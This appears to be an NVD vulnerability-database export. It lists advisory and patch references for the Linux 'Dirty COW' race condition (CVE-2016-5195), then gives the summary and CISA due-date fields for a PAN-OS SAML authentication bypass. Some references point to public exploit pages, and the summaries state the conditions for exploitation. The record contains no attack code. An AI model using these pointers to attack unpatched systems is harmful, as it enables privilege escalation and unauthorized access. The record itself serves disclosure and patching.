chrome-cve-admin@google.comhttp://rhn.redhat.com/errata/RHSA-2016-2107.htmlThird Party Advisory
chrome-cve-admin@google.comhttp://rhn.redhat.com/errata/RHSA-2016-2110.htmlThird Party Advisory
chrome-cve-admin@google.comhttp://rhn.redhat.com/errata/RHSA-2016-2118.htmlThird Party Advisory
chrome-cve-admin@google.comhttp://rhn.redhat.com/errata/RHSA-2016-2120.htmlThird Party Advisory
chrome-cve-admin@google.comhttp://rhn.redhat.com/errata/RHSA-2016-2124.htmlThird Party Advisory
chrome-cve-admin@google.comhttp://rhn.redhat.com/errata/RHSA-2016-2126.htmlThird Party Advisory
chrome-cve-admin@google.comhttp://rhn.redhat.com/errata/RHSA-2016-2127.htmlThird Party Advisory
chrome-cve-admin@google.comhttp://rhn.redhat.com/errata/RHSA-2016-2128.htmlThird Party Advisory
chrome-cve-admin@google.comhttp://rhn.redhat.com/errata/RHSA-2016-2132.htmlThird Party Advisory
chrome-cve-admin@google.comhttp://rhn.redhat.com/errata/RHSA-2016-2133.htmlThird Party Advisory
chrome-cve-admin@google.comhttp://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161026-linuxThird Party Advisory
chrome-cve-admin@google.comhttp://www.debian.org/security/2016/dsa-3696Third Party Advisory
chrome-cve-admin@google.comhttp://www.huawei.com/en/psirt/security-advisories/huawei-sa-20161207-01-dirtycow-enThird Party Advisory
chrome-cve-admin@google.comhttp://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.8.3Release Notes
chrome-cve-admin@google.comhttp://www.openwall.com/lists/oss-security/2016/10/21/1Mailing List, Third Party Advisory
chrome-cve-admin@google.comhttp://www.openwall.com/lists/oss-security/2016/10/26/7Mailing List, Third Party Advisory
chrome-cve-admin@google.comhttp://www.openwall.com/lists/oss-security/2016/10/27/13Mailing List, Third Party Advisory
chrome-cve-admin@google.comhttp://www.openwall.com/lists/oss-security/2016/10/30/1Mailing List, Third Party Advisory
chrome-cve-admin@google.comhttp://www.openwall.com/lists/oss-security/2016/11/03/7Mailing List, Third Party Advisory
chrome-cve-admin@google.comhttp://www.openwall.com/lists/oss-security/2022/03/07/1Mailing List, Third Party Advisory
chrome-cve-admin@google.comhttp://www.openwall.com/lists/oss-security/2022/08/08/1Mailing List, Third Party Advisory
chrome-cve-admin@google.comhttp://www.openwall.com/lists/oss-security/2022/08/08/2Mailing List, Third Party Advisory
chrome-cve-admin@google.comhttp://www.openwall.com/lists/oss-security/2022/08/08/7Mailing List, Third Party Advisory
chrome-cve-admin@google.comhttp://www.openwall.com/lists/oss-security/2022/08/08/8Mailing List, Third Party Advisory
chrome-cve-admin@google.comhttp://www.openwall.com/lists/oss-security/2022/08/09/4Mailing List, Third Party Advisory
chrome-cve-admin@google.comhttp://www.openwall.com/lists/oss-security/2022/08/15/1Mailing List, Third Party Advisory
chrome-cve-admin@google.comhttp://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.htmlPatch, Third Party Advisory
chrome-cve-admin@google.comhttp://www.securityfocus.com/archive/1/539611/100/0/threadedBroken Link, Third Party Advisory, VDB Entry
chrome-cve-admin@google.comhttp://www.securityfocus.com/archive/1/540252/100/0/threadedBroken Link, Third Party Advisory, VDB Entry
chrome-cve-admin@google.comhttp://www.securityfocus.com/archive/1/540344/100/0/threadedBroken Link, Third Party Advisory, VDB Entry
chrome-cve-admin@google.comhttp://www.securityfocus.com/archive/1/540736/100/0/threadedBroken Link, Third Party Advisory, VDB Entry
chrome-cve-admin@google.comhttp://www.securityfocus.com/archive/1/archive/1/539611/100/0/threadedBroken Link, Third Party Advisory, VDB Entry
chrome-cve-admin@google.comhttp://www.securityfocus.com/archive/1/archive/1/540252/100/0/threadedBroken Link, Third Party Advisory, VDB Entry
chrome-cve-admin@google.comhttp://www.securityfocus.com/archive/1/archive/1/540344/100/0/threadedBroken Link, Third Party Advisory, VDB Entry
chrome-cve-admin@google.comhttp://www.securityfocus.com/archive/1/archive/1/540736/100/0/threadedBroken Link, Third Party Advisory, VDB Entry
chrome-cve-admin@google.comhttp://www.securityfocus.com/bid/93793Broken Link, Third Party Advisory, VDB Entry
chrome-cve-admin@google.comhttp://www.securitytracker.com/id/1037078Broken Link, Third Party Advisory, VDB Entry
chrome-cve-admin@google.comhttp://www.ubuntu.com/usn/USN-3104-1Third Party Advisory
chrome-cve-admin@google.comhttp://www.ubuntu.com/usn/USN-3104-2Third Party Advisory
chrome-cve-admin@google.comhttp://www.ubuntu.com/usn/USN-3105-1Third Party Advisory
chrome-cve-admin@google.comhttp://www.ubuntu.com/usn/USN-3105-2Third Party Advisory
chrome-cve-admin@google.comhttp://www.ubuntu.com/usn/USN-3106-1Third Party Advisory
chrome-cve-admin@google.comhttp://www.ubuntu.com/usn/USN-3106-2Third Party Advisory
chrome-cve-admin@google.comhttp://www.ubuntu.com/usn/USN-3106-3Third Party Advisory
chrome-cve-admin@google.comhttp://www.ubuntu.com/usn/USN-3106-4Third Party Advisory
chrome-cve-admin@google.comhttp://www.ubuntu.com/usn/USN-3107-1Third Party Advisory
chrome-cve-admin@google.comhttp://www.ubuntu.com/usn/USN-3107-2Third Party Advisory
chrome-cve-admin@google.comhttps://access.redhat.com/errata/RHSA-2017:0372Broken Link, Third Party Advisory
chrome-cve-admin@google.comhttps://access.redhat.com/security/cve/cve-2016-5195Third Party Advisory
chrome-cve-admin@google.comhttps://access.redhat.com/security/vulnerabilities/2706661Third Party Advisory
chrome-cve-admin@google.comhttps://bto.bluecoat.com/security-advisory/sa134Permissions Required, Third Party Advisory
chrome-cve-admin@google.comhttps://bugzilla.redhat.com/show_bug.cgi?id=1384344Exploit, Issue Tracking
chrome-cve-admin@google.comhttps://bugzilla.suse.com/show_bug.cgi?id=1004418Issue Tracking
chrome-cve-admin@google.comhttps://dirtycow.ninjaThird Party Advisory
chrome-cve-admin@google.comhttps://github.com/dirtycow/dirtycow.github.io/wiki/PoCsThird Party Advisory
chrome-cve-admin@google.comhttps://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetailsExploit, Third Party Advisory
chrome-cve-admin@google.comhttps://github.com/torvalds/linux/commit/19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619Issue Tracking, Patch
chrome-cve-admin@google.comhttps://h20566.www2.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-c05352241Third Party Advisory
chrome-cve-admin@google.comhttps://h20566.www2.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbgn03707en_usThird Party Advisory
chrome-cve-admin@google.comhttps://h20566.www2.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbgn03722en_usThird Party Advisory
chrome-cve-admin@google.comhttps://h20566.www2.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbgn03742en_usThird Party Advisory
chrome-cve-admin@google.comhttps://h20566.www2.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbgn03761en_usThird Party Advisory
chrome-cve-admin@google.comhttps://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05341463Third Party Advisory
chrome-cve-admin@google.comhttps://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05347541Third Party Advisory
chrome-cve-admin@google.comhttps://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05352241Third Party Advisory
chrome-cve-admin@google.comhttps://help.ecostruxureit.com/display/public/UADCO8x/StruxureWare+Data+Center+Operation+Software+Vulnerability+FixesBroken Link, Third Party Advisory
chrome-cve-admin@google.comhttps://kc.mcafee.com/corporate/index?page=content&id=SB10176Broken Link, Third Party Advisory
chrome-cve-admin@google.comhttps://kc.mcafee.com/corporate/index?page=content&id=SB10177Broken Link, Third Party Advisory
chrome-cve-admin@google.comhttps://kc.mcafee.com/corporate/index?page=content&id=SB10222Broken Link, Third Party Advisory
chrome-cve-admin@google.comhttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/E7M62SRP6CZLJ4ZXCRZKV4WPLQBSR7DT/Release Notes
chrome-cve-admin@google.comhttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NWMDLBWMGZKFHMRJ7QUQVCERP5QHDB6W/Release Notes
chrome-cve-admin@google.comhttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/W3APRVDVPDBXLH4DC5UKZVCR742MJIM3/Release Notes
chrome-cve-admin@google.comhttps://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-5195.htmlThird Party Advisory
chrome-cve-admin@google.comhttps://security-tracker.debian.org/tracker/CVE-2016-5195Issue Tracking, Third Party Advisory
chrome-cve-admin@google.comhttps://security.netapp.com/advisory/ntap-20161025-0001/Third Party Advisory
chrome-cve-admin@google.comhttps://security.paloaltonetworks.com/CVE-2016-5195Third Party Advisory
chrome-cve-admin@google.comhttps://source.android.com/security/bulletin/2016-11-01.htmlThird Party Advisory
chrome-cve-admin@google.comhttps://source.android.com/security/bulletin/2016-12-01.htmlThird Party Advisory
chrome-cve-admin@google.comhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181107-vcsdThird Party Advisory
chrome-cve-admin@google.comhttps://www.arista.com/en/support/advisories-notices/security-advisories/1753-security-advisory-0026Third Party Advisory
chrome-cve-admin@google.comhttps://www.exploit-db.com/exploits/40611/Exploit, Third Party Advisory, VDB Entry
chrome-cve-admin@google.comhttps://www.exploit-db.com/exploits/40616/Exploit, Third Party Advisory, VDB Entry
chrome-cve-admin@google.comhttps://www.exploit-db.com/exploits/40839/Exploit, Third Party Advisory, VDB Entry
chrome-cve-admin@google.comhttps://www.exploit-db.com/exploits/40847/Third Party Advisory, VDB Entry
chrome-cve-admin@google.comhttps://www.kb.cert.org/vuls/id/243144Third Party Advisory, US Government Resource
af854a3a-2127-422b-91ae-364da2661108http://fortiguard.com/advisory/FG-IR-16-063Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619Issue Tracking, Patch, Vendor Advisory
af854a3a-2127-422b-91ae-364da2661108http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10770Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10774Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10807Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00034.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00035.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00036.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00038.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00039.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00040.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00045.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00048.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00049.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00050.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00051.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00052.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00053.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00054.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00055.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00056.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00057.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00058.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00063.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00064.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00065.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00066.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00067.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00072.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-12/msg00033.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2016-12/msg00100.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00041.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://packetstormsecurity.com/files/139277/Kernel-Live-Patch-Security-Notice-LSN-0012-1.htmlExploit, Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108http://packetstormsecurity.com/files/139286/DirtyCow-Linux-Kernel-Race-Condition.htmlExploit, Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108http://packetstormsecurity.com/files/139287/DirtyCow-Local-Root-Proof-Of-Concept.htmlExploit, Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108http://packetstormsecurity.com/files/139922/Linux-Kernel-Dirty-COW-PTRACE_POKEDATA-Privilege-Escalation.htmlExploit, Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108http://packetstormsecurity.com/files/139923/Linux-Kernel-Dirty-COW-PTRACE_POKEDATA-Privilege-Escalation.htmlExploit, Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108http://packetstormsecurity.com/files/142151/Kernel-Live-Patch-Security-Notice-LSN-0021-1.htmlThird Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108http://rhn.redhat.com/errata/RHSA-2016-2098.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://rhn.redhat.com/errata/RHSA-2016-2105.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://rhn.redhat.com/errata/RHSA-2016-2106.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://rhn.redhat.com/errata/RHSA-2016-2107.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://rhn.redhat.com/errata/RHSA-2016-2110.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://rhn.redhat.com/errata/RHSA-2016-2118.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://rhn.redhat.com/errata/RHSA-2016-2120.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://rhn.redhat.com/errata/RHSA-2016-2124.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://rhn.redhat.com/errata/RHSA-2016-2126.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://rhn.redhat.com/errata/RHSA-2016-2127.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://rhn.redhat.com/errata/RHSA-2016-2128.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://rhn.redhat.com/errata/RHSA-2016-2132.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://rhn.redhat.com/errata/RHSA-2016-2133.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161026-linuxThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.debian.org/security/2016/dsa-3696Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20161207-01-dirtycow-enThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.8.3Release Notes
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2016/10/21/1Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2016/10/26/7Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2016/10/27/13Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2016/10/30/1Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2016/11/03/7Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2022/03/07/1Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2022/08/08/1Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2022/08/08/2Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2022/08/08/7Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2022/08/08/8Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2022/08/09/4Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2022/08/15/1Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.htmlPatch, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.securityfocus.com/archive/1/539611/100/0/threadedBroken Link, Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108http://www.securityfocus.com/archive/1/540252/100/0/threadedBroken Link, Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108http://www.securityfocus.com/archive/1/540344/100/0/threadedBroken Link, Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108http://www.securityfocus.com/archive/1/540736/100/0/threadedBroken Link, Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108http://www.securityfocus.com/archive/1/archive/1/539611/100/0/threadedBroken Link, Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108http://www.securityfocus.com/archive/1/archive/1/540252/100/0/threadedBroken Link, Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108http://www.securityfocus.com/archive/1/archive/1/540344/100/0/threadedBroken Link, Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108http://www.securityfocus.com/archive/1/archive/1/540736/100/0/threadedBroken Link, Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108http://www.securityfocus.com/bid/93793Broken Link, Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108http://www.securitytracker.com/id/1037078Broken Link, Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108http://www.ubuntu.com/usn/USN-3104-1Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.ubuntu.com/usn/USN-3104-2Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.ubuntu.com/usn/USN-3105-1Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.ubuntu.com/usn/USN-3105-2Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.ubuntu.com/usn/USN-3106-1Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.ubuntu.com/usn/USN-3106-2Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.ubuntu.com/usn/USN-3106-3Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.ubuntu.com/usn/USN-3106-4Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.ubuntu.com/usn/USN-3107-1Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.ubuntu.com/usn/USN-3107-2Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/errata/RHSA-2017:0372Broken Link, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/security/cve/cve-2016-5195Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/security/vulnerabilities/2706661Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://bto.bluecoat.com/security-advisory/sa134Permissions Required, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://bugzilla.redhat.com/show_bug.cgi?id=1384344Exploit, Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://bugzilla.suse.com/show_bug.cgi?id=1004418Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://dirtycow.ninjaThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://github.com/dirtycow/dirtycow.github.io/wiki/PoCsThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetailsExploit, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://github.com/torvalds/linux/commit/19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619Issue Tracking, Patch
af854a3a-2127-422b-91ae-364da2661108https://h20566.www2.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-c05352241Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://h20566.www2.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbgn03707en_usThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://h20566.www2.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbgn03722en_usThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://h20566.www2.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbgn03742en_usThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://h20566.www2.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbgn03761en_usThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05341463Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05347541Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05352241Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://help.ecostruxureit.com/display/public/UADCO8x/StruxureWare+Data+Center+Operation+Software+Vulnerability+FixesBroken Link, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://kc.mcafee.com/corporate/index?page=content&id=SB10176Broken Link, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://kc.mcafee.com/corporate/index?page=content&id=SB10177Broken Link, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://kc.mcafee.com/corporate/index?page=content&id=SB10222Broken Link, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/E7M62SRP6CZLJ4ZXCRZKV4WPLQBSR7DT/Release Notes
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NWMDLBWMGZKFHMRJ7QUQVCERP5QHDB6W/Release Notes
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/W3APRVDVPDBXLH4DC5UKZVCR742MJIM3/Release Notes
af854a3a-2127-422b-91ae-364da2661108https://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-5195.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security-tracker.debian.org/tracker/CVE-2016-5195Issue Tracking, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security.netapp.com/advisory/ntap-20161025-0001/Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security.paloaltonetworks.com/CVE-2016-5195Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://source.android.com/security/bulletin/2016-11-01.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://source.android.com/security/bulletin/2016-12-01.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181107-vcsdThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.arista.com/en/support/advisories-notices/security-advisories/1753-security-advisory-0026Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.exploit-db.com/exploits/40611/Exploit, Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108https://www.exploit-db.com/exploits/40616/Exploit, Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108https://www.exploit-db.com/exploits/40839/Exploit, Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108https://www.exploit-db.com/exploits/40847/Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108https://www.kb.cert.org/vuls/id/243144Third Party Advisory, US Government Resource



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      "value": "Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a copy-on-write (COW) feature to write to a read-only memory mapping, as exploited in the wild in October 2016, aka \"Dirty COW.\""
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      "value": "La condici\u00f3n de carrera en mm / gup.c en el kernel de Linux 2.x a 4.x antes de 4.8.3 permite a los usuarios locales obtener privilegios aprovechando el manejo incorrecto de una funci\u00f3n copy-on-write (COW) para escribir en un read- only la cartograf\u00eda de la memoria, como explotados en la naturaleza en octubre de 2016, vulnerabilidad tambi\u00e9n conocida como \"Dirty COW\"."
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      "url": "https://www.kb.cert.org/vuls/id/243144"
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  ],
  "sourceIdentifier": "chrome-cve-admin@google.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-362"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Vulnerability from fkie_nvd
Published
2020-06-29 15:15
Modified
2024-11-21 05:24
Summary
When Security Assertion Markup Language (SAML) authentication is enabled and the 'Validate Identity Provider Certificate' option is disabled (unchecked), improper verification of signatures in PAN-OS SAML authentication enables an unauthenticated network-based attacker to access protected resources. The attacker must have network access to the vulnerable server to exploit this vulnerability. This issue affects PAN-OS 9.1 versions earlier than PAN-OS 9.1.3; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9; PAN-OS 8.1 versions earlier than PAN-OS 8.1.15, and all versions of PAN-OS 8.0 (EOL). This issue does not affect PAN-OS 7.1. This issue cannot be exploited if SAML is not used for authentication. This issue cannot be exploited if the 'Validate Identity Provider Certificate' option is enabled (checked) in the SAML Identity Provider Server Profile. Resources that can be protected by SAML-based single sign-on (SSO) authentication are: GlobalProtect Gateway, GlobalProtect Portal, GlobalProtect Clientless VPN, Authentication and Captive Portal, PAN-OS next-generation firewalls (PA-Series, VM-Series) and Panorama web interfaces, Prisma Access In the case of GlobalProtect Gateways, GlobalProtect Portal, Clientless VPN, Captive Portal, and Prisma Access, an unauthenticated attacker with network access to the affected servers can gain access to protected resources if allowed by configured authentication and Security policies. There is no impact on the integrity and availability of the gateway, portal or VPN server. An attacker cannot inspect or tamper with sessions of regular users. In the worst case, this is a critical severity vulnerability with a CVSS Base Score of 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N). In the case of PAN-OS and Panorama web interfaces, this issue allows an unauthenticated attacker with network access to the PAN-OS or Panorama web interfaces to log in as an administrator and perform administrative actions. In the worst-case scenario, this is a critical severity vulnerability with a CVSS Base Score of 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). If the web interfaces are only accessible to a restricted management network, then the issue is lowered to a CVSS Base Score of 9.6 (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Palo Alto Networks is not aware of any malicious attempts to exploit this vulnerability.



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  "cisaActionDue": "2022-04-15",
  "cisaExploitAdd": "2022-03-25",
  "cisaRequiredAction": "Apply updates per vendor instructions.",
  "cisaVulnerabilityName": "Palo Alto Networks PAN-OS Authentication Bypass Vulnerability",
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      "lang": "en",
